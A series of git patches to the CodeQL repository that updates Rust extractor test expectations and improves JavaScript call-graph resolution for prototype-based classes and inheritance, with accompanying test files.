hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAbi: | no | hasBody: | no | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | no | hasVisibility: | no | hasWhereClause: | no | +| gen_function.rs:3:1:4:38 | fn foo | hasParamList: | yes | getNumberOfAttrs: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasExpanded: | no | hasAbi: | no | hasBody: | yes | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | yes | hasVisibility: | no | hasWhereClause: | no | +| gen_function.rs:7:5:7:13 | fn bar | hasParamList: | yes | getNumberOfAttrs: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasExpanded: | no | hasAbi: | no | hasBody: | no | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | no | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected index db69c4e068ab..b5bf260e2f40 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected +++ b/rust/ql/test/extractor-tests/generated/MacroCall/MacroCall.expected @@ -1 +1 @@ -| gen_macro_call.rs:5:5:5:11 | todo!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | hasExpanded: | yes | +| gen_macro_call.rs:5:5:5:11 | todo!... | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasExpanded: | yes | getNumberOfAttrs: | 0 | hasPath: | yes | hasTokenTree: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Module/Module.expected b/rust/ql/test/extractor-tests/generated/Module/Module.expected index 11b6d9e1e9bd..18f7e911fe3f 100644 --- a/rust/ql/test/extractor-tests/generated/Module/Module.expected +++ b/rust/ql/test/extractor-tests/generated/Module/Module.expected @@ -1,3 +1,3 @@ -| gen_module.rs:3:1:4:8 | mod foo | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | getNumberOfAttrs: | 0 | hasItemList: | no | hasName: | yes | hasVisibility: | no | -| gen_module.rs:5:1:7:1 | mod bar | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | getNumberOfAttrs: | 0 | hasItemList: | yes | hasName: | yes | hasVisibility: | no | -| lib.rs:1:1:1:15 | mod gen_module | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | getNumberOfAttrs: | 0 | hasItemList: | no | hasName: | yes | hasVisibility: | no | +| gen_module.rs:3:1:4:8 | mod foo | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasExpanded: | no | getNumberOfAttrs: | 0 | hasItemList: | no | hasName: | yes | hasVisibility: | no | +| gen_module.rs:5:1:7:1 | mod bar | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasExpanded: | no | getNumberOfAttrs: | 0 | hasItemList: | yes | hasName: | yes | hasVisibility: | no | +| lib.rs:1:1:1:15 | mod gen_module | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasExpanded: | no | getNumberOfAttrs: | 0 | hasItemList: | no | hasName: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Trait/Trait.expected b/rust/ql/test/extractor-tests/generated/Trait/Trait.expected index 451422d330ab..33dd170e7664 100644 --- a/rust/ql/test/extractor-tests/generated/Trait/Trait.expected +++ b/rust/ql/test/extractor-tests/generated/Trait/Trait.expected @@ -1,2 +1,2 @@ -| gen_trait.rs:3:1:8:1 | trait Frobinizable | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isAuto: | no | isUnsafe: | no | hasName: | yes | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | -| gen_trait.rs:10:1:10:57 | trait Foo | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | yes | isAuto: | no | isUnsafe: | no | hasName: | yes | hasTypeBoundList: | no | hasVisibility: | yes | hasWhereClause: | yes | +| gen_trait.rs:3:1:8:1 | trait Frobinizable | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasExpanded: | no | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isAuto: | no | isUnsafe: | no | hasName: | yes | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | +| gen_trait.rs:10:1:10:57 | trait Foo | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasExpanded: | no | hasAssocItemList: | yes | getNumberOfAttrs: | 0 | hasGenericParamList: | yes | isAuto: | no | isUnsafe: | no | hasName: | yes | hasTypeBoundList: | no | hasVisibility: | yes | hasWhereClause: | yes | diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected index 19ccc9349b1f..9168aed43d51 100644 --- a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected +++ b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected @@ -1,2 +1,2 @@ -| gen_type_alias.rs:4:5:5:26 | type Point | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | yes | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | -| gen_type_alias.rs:8:9:8:20 | type Output | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | no | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | +| gen_type_alias.rs:4:5:5:26 | type Point | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasExpanded: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | yes | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | +| gen_type_alias.rs:8:9:8:20 | type Output | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasExpanded: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | no | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index ba7eeae00081..2b3b91e1abc9 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -47,3 +47,4 @@ | test.rs:369:25:369:43 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:377:22:377:35 | ...::stdin | Flow source 'StdInSource' of type stdin (DEFAULT). | | test.rs:386:16:386:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test.rs:386:16:386:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | From 2d32c366d8a470d74ce05f74913a80e02c75aafd Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Mon, 28 Apr 2025 10:46:36 +0200 Subject: [PATCH 009/535] Rust: add missing expected files --- .../extractor-tests/generated/Const/Const_getExpanded.expected | 0 .../test/extractor-tests/generated/Enum/Enum_getExpanded.expected | 0 .../generated/ExternBlock/ExternBlock_getExpanded.expected | 0 .../generated/ExternCrate/ExternCrate_getExpanded.expected | 0 .../generated/Function/Function_getExpanded.expected | 0 .../test/extractor-tests/generated/Impl/Impl_getExpanded.expected | 0 .../generated/MacroDef/MacroDef_getExpanded.expected | 0 .../generated/MacroRules/MacroRules_getExpanded.expected | 0 .../extractor-tests/generated/Module/Module_getExpanded.expected | 0 .../extractor-tests/generated/Static/Static_getExpanded.expected | 0 .../extractor-tests/generated/Struct/Struct_getExpanded.expected | 0 .../extractor-tests/generated/Trait/Trait_getExpanded.expected | 0 .../generated/TraitAlias/TraitAlias_getExpanded.expected | 0 .../generated/TypeAlias/TypeAlias_getExpanded.expected | 0 .../extractor-tests/generated/Union/Union_getExpanded.expected | 0 .../test/extractor-tests/generated/Use/Use_getExpanded.expected | 0 16 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 rust/ql/test/extractor-tests/generated/Const/Const_getExpanded.expected create mode 100644 rust/ql/test/extractor-tests/generated/Enum/Enum_getExpanded.expected create mode 100644 rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.expected create mode 100644 rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.expected create mode 100644 rust/ql/test/extractor-tests/generated/Function/Function_getExpanded.expected create mode 100644 rust/ql/test/extractor-tests/generated/Impl/Impl_getExpanded.expected create mode 100644 rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.expected create mode 100644 rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.expected create mode 100644 rust/ql/test/extractor-tests/generated/Module/Module_getExpanded.expected create mode 100644 rust/ql/test/extractor-tests/generated/Static/Static_getExpanded.expected create mode 100644 rust/ql/test/extractor-tests/generated/Struct/Struct_getExpanded.expected create mode 100644 rust/ql/test/extractor-tests/generated/Trait/Trait_getExpanded.expected create mode 100644 rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.expected create mode 100644 rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.expected create mode 100644 rust/ql/test/extractor-tests/generated/Union/Union_getExpanded.expected create mode 100644 rust/ql/test/extractor-tests/generated/Use/Use_getExpanded.expected diff --git a/rust/ql/test/extractor-tests/generated/Const/Const_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Const/Const_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Enum/Enum_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Enum/Enum_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.expected b/rust/ql/test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.expected b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Function/Function_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Function/Function_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Impl/Impl_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Impl/Impl_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.expected b/rust/ql/test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.expected b/rust/ql/test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Module/Module_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Module/Module_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Static/Static_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Static/Static_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Struct/Struct_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Trait/Trait_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Trait/Trait_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.expected b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.expected b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Union/Union_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Use/Use_getExpanded.expected b/rust/ql/test/extractor-tests/generated/Use/Use_getExpanded.expected new file mode 100644 index 000000000000..e69de29bb2d1 From c57172121e4c36555fcfa107e544b1ff8ad08e21 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 24 Apr 2025 12:06:32 +0200 Subject: [PATCH 010/535] Update Nodes.qll Applied suggestions Co-Authored-By: Asger F <316427+asgerf@users.noreply.github.com> --- javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll | 5 +++-- javascript/ql/test/library-tests/Classes/tests.expected | 1 + 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll index 8b41ed5b82c2..6a8bacb585d7 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll @@ -1242,11 +1242,12 @@ module ClassNode { */ class FunctionStyleClass extends Range, DataFlow::ValueNode { override AST::ValueNode astNode; - AbstractFunction function; + AbstractCallable function; FunctionStyleClass() { // ES6 class case - astNode instanceof ClassDefinition + astNode instanceof ClassDefinition and + function.(AbstractClass).getClass() = astNode or // Function-style class case astNode instanceof Function and diff --git a/javascript/ql/test/library-tests/Classes/tests.expected b/javascript/ql/test/library-tests/Classes/tests.expected index aadd449349c2..460614e02e10 100644 --- a/javascript/ql/test/library-tests/Classes/tests.expected +++ b/javascript/ql/test/library-tests/Classes/tests.expected @@ -194,6 +194,7 @@ test_ConstructorDefinitions | tst.js:11:9:11:8 | constructor() {} | test_ClassNodeConstructor | dataflow.js:4:2:13:2 | class F ... \\n\\t\\t}\\n\\t} | dataflow.js:4:12:4:11 | () {} | +| dataflow.js:4:12:4:11 | () {} | dataflow.js:4:12:4:11 | () {} | | fields.js:1:1:4:1 | class C ... = 42\\n} | fields.js:1:9:1:8 | () {} | | points.js:1:1:18:1 | class P ... ;\\n }\\n} | points.js:2:14:5:3 | (x, y) ... y;\\n } | | points.js:20:1:33:1 | class C ... ;\\n }\\n} | points.js:21:14:24:3 | (x, y, ... c;\\n } | From 4705d30bac847d3a8326e8f258d77a2f2a4c6254 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 28 Apr 2025 15:12:24 +0200 Subject: [PATCH 011/535] Add call graph tests for prototype methods injected on class --- .../CallGraphs/AnnotatedTest/Test.expected | 1 + .../CallGraphs/AnnotatedTest/prototypes.js | 25 +++++++++++++++++++ 2 files changed, 26 insertions(+) create mode 100644 javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected index 0abd563b4193..2ad95355cf1b 100644 --- a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected @@ -2,6 +2,7 @@ spuriousCallee missingCallee | constructor-field.ts:40:5:40:14 | f3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | | constructor-field.ts:71:1:71:11 | bf3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | +| prototypes.js:19:3:19:13 | baz.shout() | prototypes.js:11:23:11:35 | function() {} | -1 | calls | badAnnotation accessorCall | accessors.js:12:1:12:5 | obj.f | accessors.js:5:8:5:12 | () {} | diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js new file mode 100644 index 000000000000..640da2edb70d --- /dev/null +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js @@ -0,0 +1,25 @@ +class Baz { + baz() { + /** calls:Baz.greet */ + this.greet(); + } + /** name:Baz.greet */ + greet() {} +} + +/** name:Baz.shout */ +Baz.prototype.shout = function() {}; +/** name:Baz.staticShout */ +Baz.staticShout = function() {}; + +function foo(baz){ + /** calls:Baz.greet */ + baz.greet(); + /** calls:Baz.shout */ + baz.shout(); + /** calls:Baz.staticShout */ + Baz.staticShout(); +} + +const baz = new Baz(); +foo(baz); From ee3a3bd9f50a3c6be6b2834279278a93f69bfdaa Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 28 Apr 2025 15:17:26 +0200 Subject: [PATCH 012/535] Add support for prototype methods in class instance member resolution --- javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll | 3 --- .../test/library-tests/CallGraphs/AnnotatedTest/Test.expected | 1 - 2 files changed, 4 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll index 6a8bacb585d7..dfd451afc372 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll @@ -1318,7 +1318,6 @@ module ClassNode { ) or // Function-style class methods via prototype - astNode instanceof Function and kind = MemberKind::method() and exists(DataFlow::SourceNode proto | proto = this.getAPrototypeReference() and @@ -1361,7 +1360,6 @@ module ClassNode { ) or // Function-style class methods via prototype - astNode instanceof Function and kind = MemberKind::method() and exists(DataFlow::SourceNode proto | proto = this.getAPrototypeReference() and @@ -1415,7 +1413,6 @@ module ClassNode { * Only applies to function-style classes. */ DataFlow::SourceNode getAPrototypeReference() { - astNode instanceof Function and ( exists(DataFlow::SourceNode base | base = getAFunctionValueWithPrototype(function) | result = base.getAPropertyRead("prototype") diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected index 2ad95355cf1b..0abd563b4193 100644 --- a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected @@ -2,7 +2,6 @@ spuriousCallee missingCallee | constructor-field.ts:40:5:40:14 | f3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | | constructor-field.ts:71:1:71:11 | bf3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | -| prototypes.js:19:3:19:13 | baz.shout() | prototypes.js:11:23:11:35 | function() {} | -1 | calls | badAnnotation accessorCall | accessors.js:12:1:12:5 | obj.f | accessors.js:5:8:5:12 | () {} | From 4fbf8ca5cf787eb611bead6d77e39b16850533d1 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 29 Apr 2025 12:31:34 +0200 Subject: [PATCH 013/535] Added test cases with inheritance --- .../CallGraphs/AnnotatedTest/Test.expected | 3 + .../CallGraphs/AnnotatedTest/prototypes.js | 74 ++++++++++++++++++- 2 files changed, 73 insertions(+), 4 deletions(-) diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected index 0abd563b4193..01a9bb03e3ae 100644 --- a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected @@ -2,6 +2,9 @@ spuriousCallee missingCallee | constructor-field.ts:40:5:40:14 | f3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | | constructor-field.ts:71:1:71:11 | bf3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | +| prototypes.js:7:5:7:16 | this.greet() | prototypes.js:59:8:63:3 | () { \\n ... ); \\n } | -1 | calls | +| prototypes.js:62:5:62:34 | Baz.pro ... l(this) | prototypes.js:10:8:10:39 | () { co ... et"); } | -1 | calls | +| prototypes.js:77:3:77:32 | Baz.pro ... l(this) | prototypes.js:14:23:14:62 | functio ... ut"); } | -1 | calls | badAnnotation accessorCall | accessors.js:12:1:12:5 | obj.f | accessors.js:5:8:5:12 | () {} | diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js index 640da2edb70d..e0088019f9f9 100644 --- a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js @@ -1,16 +1,19 @@ +import 'dummy' + class Baz { baz() { - /** calls:Baz.greet */ + console.log("Baz baz"); + /** calls:Baz.greet calls:Derived.greet1 calls:BazExtented.greet2 */ this.greet(); } /** name:Baz.greet */ - greet() {} + greet() { console.log("Baz greet"); } } /** name:Baz.shout */ -Baz.prototype.shout = function() {}; +Baz.prototype.shout = function() { console.log("Baz shout"); }; /** name:Baz.staticShout */ -Baz.staticShout = function() {}; +Baz.staticShout = function() { console.log("Baz staticShout"); }; function foo(baz){ /** calls:Baz.greet */ @@ -23,3 +26,66 @@ function foo(baz){ const baz = new Baz(); foo(baz); + +class Derived extends Baz { + /** name:Derived.greet1 */ + greet() { + console.log("Derived greet"); + super.greet(); + } + + /** name:Derived.shout1 */ + shout() { + console.log("Derived shout"); + super.shout(); + } +} + +function bar(derived){ + /** calls:Derived.greet1 */ + derived.greet(); + /** calls:Derived.shout1 */ + derived.shout(); +} + +bar(new Derived()); + +class BazExtented { + constructor() { + console.log("BazExtented construct"); + } + + /** name:BazExtented.greet2 */ + greet() { + console.log("BazExtented greet"); + /** calls:Baz.greet */ + Baz.prototype.greet.call(this); + }; +} + +BazExtented.prototype = Object.create(Baz.prototype); +BazExtented.prototype.constructor = BazExtented; +BazExtented.staticShout = Baz.staticShout; + +/** name:BazExtented.talk */ +BazExtented.prototype.talk = function() { console.log("BazExtented talk"); }; + +/** name:BazExtented.shout2 */ +BazExtented.prototype.shout = function() { + console.log("BazExtented shout"); + /** calls:Baz.shout */ + Baz.prototype.shout.call(this); +}; + +function barbar(bazExtented){ + /** calls:BazExtented.talk */ + bazExtented.talk(); + /** calls:BazExtented.shout2 */ + bazExtented.shout(); + /** calls:BazExtented.greet2 */ + bazExtented.greet(); + /** calls:Baz.staticShout */ + BazExtented.staticShout(); +} + +barbar(new BazExtented()); From a015003bda045c630c8858caaf762670921ad4cf Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 29 Apr 2025 12:32:26 +0200 Subject: [PATCH 014/535] Updated test case to resolve reflected calls --- .../CallGraphs/AnnotatedTest/Test.expected | 2 -- .../library-tests/CallGraphs/AnnotatedTest/Test.ql | 14 ++++++++------ 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected index 01a9bb03e3ae..0c47e2c2c6a8 100644 --- a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected @@ -3,8 +3,6 @@ missingCallee | constructor-field.ts:40:5:40:14 | f3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | | constructor-field.ts:71:1:71:11 | bf3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | | prototypes.js:7:5:7:16 | this.greet() | prototypes.js:59:8:63:3 | () { \\n ... ); \\n } | -1 | calls | -| prototypes.js:62:5:62:34 | Baz.pro ... l(this) | prototypes.js:10:8:10:39 | () { co ... et"); } | -1 | calls | -| prototypes.js:77:3:77:32 | Baz.pro ... l(this) | prototypes.js:14:23:14:62 | functio ... ut"); } | -1 | calls | badAnnotation accessorCall | accessors.js:12:1:12:5 | obj.f | accessors.js:5:8:5:12 | () {} | diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.ql b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.ql index 4388a2d388d1..82533ba74c4a 100644 --- a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.ql +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.ql @@ -31,7 +31,7 @@ class AnnotatedCall extends DataFlow::Node { AnnotatedCall() { this instanceof DataFlow::InvokeNode and - calls = getAnnotation(this.asExpr(), kind) and + calls = getAnnotation(this.getEnclosingExpr(), kind) and kind = "calls" or this instanceof DataFlow::PropRef and @@ -79,12 +79,14 @@ query predicate spuriousCallee(AnnotatedCall call, Function target, int boundArg } query predicate missingCallee( - AnnotatedCall call, AnnotatedFunction target, int boundArgs, string kind + InvokeExpr invoke, AnnotatedFunction target, int boundArgs, string kind ) { - not callEdge(call, target, boundArgs) and - kind = call.getKind() and - target = call.getAnExpectedCallee(kind) and - boundArgs = call.getBoundArgsOrMinusOne() + forex(AnnotatedCall call | call.getEnclosingExpr() = invoke | + not callEdge(call, target, boundArgs) and + kind = call.getKind() and + target = call.getAnExpectedCallee(kind) and + boundArgs = call.getBoundArgsOrMinusOne() + ) } query predicate badAnnotation(string name) { From 0a9a7911c2eca86ceb5e8abbb2bb177e9953dd1c Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 29 Apr 2025 12:39:44 +0200 Subject: [PATCH 015/535] Fixed issue where method calls weren't properly resolved when inheritance was implemented via prototype manipulation instead of ES6 class syntax. --- javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll | 2 -- .../test/library-tests/CallGraphs/AnnotatedTest/Test.expected | 1 - 2 files changed, 3 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll index dfd451afc372..527031950ec3 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll @@ -1437,8 +1437,6 @@ module ClassNode { astNode instanceof ClassDefinition and result = astNode.(ClassDefinition).getSuperClass().flow() or - // Function-style class superclass patterns - astNode instanceof Function and ( // C.prototype = Object.create(D.prototype) exists(DataFlow::InvokeNode objectCreate, DataFlow::PropRead superProto | diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected index 0c47e2c2c6a8..0abd563b4193 100644 --- a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected @@ -2,7 +2,6 @@ spuriousCallee missingCallee | constructor-field.ts:40:5:40:14 | f3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | | constructor-field.ts:71:1:71:11 | bf3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | -| prototypes.js:7:5:7:16 | this.greet() | prototypes.js:59:8:63:3 | () { \\n ... ); \\n } | -1 | calls | badAnnotation accessorCall | accessors.js:12:1:12:5 | obj.f | accessors.js:5:8:5:12 | () {} | From c8ee8dce98195117bee8993ddc424cb1ea21f943 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 29 Apr 2025 13:04:07 +0200 Subject: [PATCH 016/535] Add test cases to verify correct call graph resolution with various JavaScript inheritance patterns --- .../CallGraphs/AnnotatedTest/Test.expected | 2 ++ .../CallGraphs/AnnotatedTest/prototypes.js | 18 ++++++++++++++++++ 2 files changed, 20 insertions(+) diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected index 0abd563b4193..e6532c0816f1 100644 --- a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected @@ -2,6 +2,8 @@ spuriousCallee missingCallee | constructor-field.ts:40:5:40:14 | f3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | | constructor-field.ts:71:1:71:11 | bf3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | +| prototypes.js:96:5:96:15 | this.read() | prototypes.js:104:27:104:39 | function() {} | -1 | calls | +| prototypes.js:96:5:96:15 | this.read() | prototypes.js:109:27:109:39 | function() {} | -1 | calls | badAnnotation accessorCall | accessors.js:12:1:12:5 | obj.f | accessors.js:5:8:5:12 | () {} | diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js index e0088019f9f9..2556e07a2796 100644 --- a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/prototypes.js @@ -89,3 +89,21 @@ function barbar(bazExtented){ } barbar(new 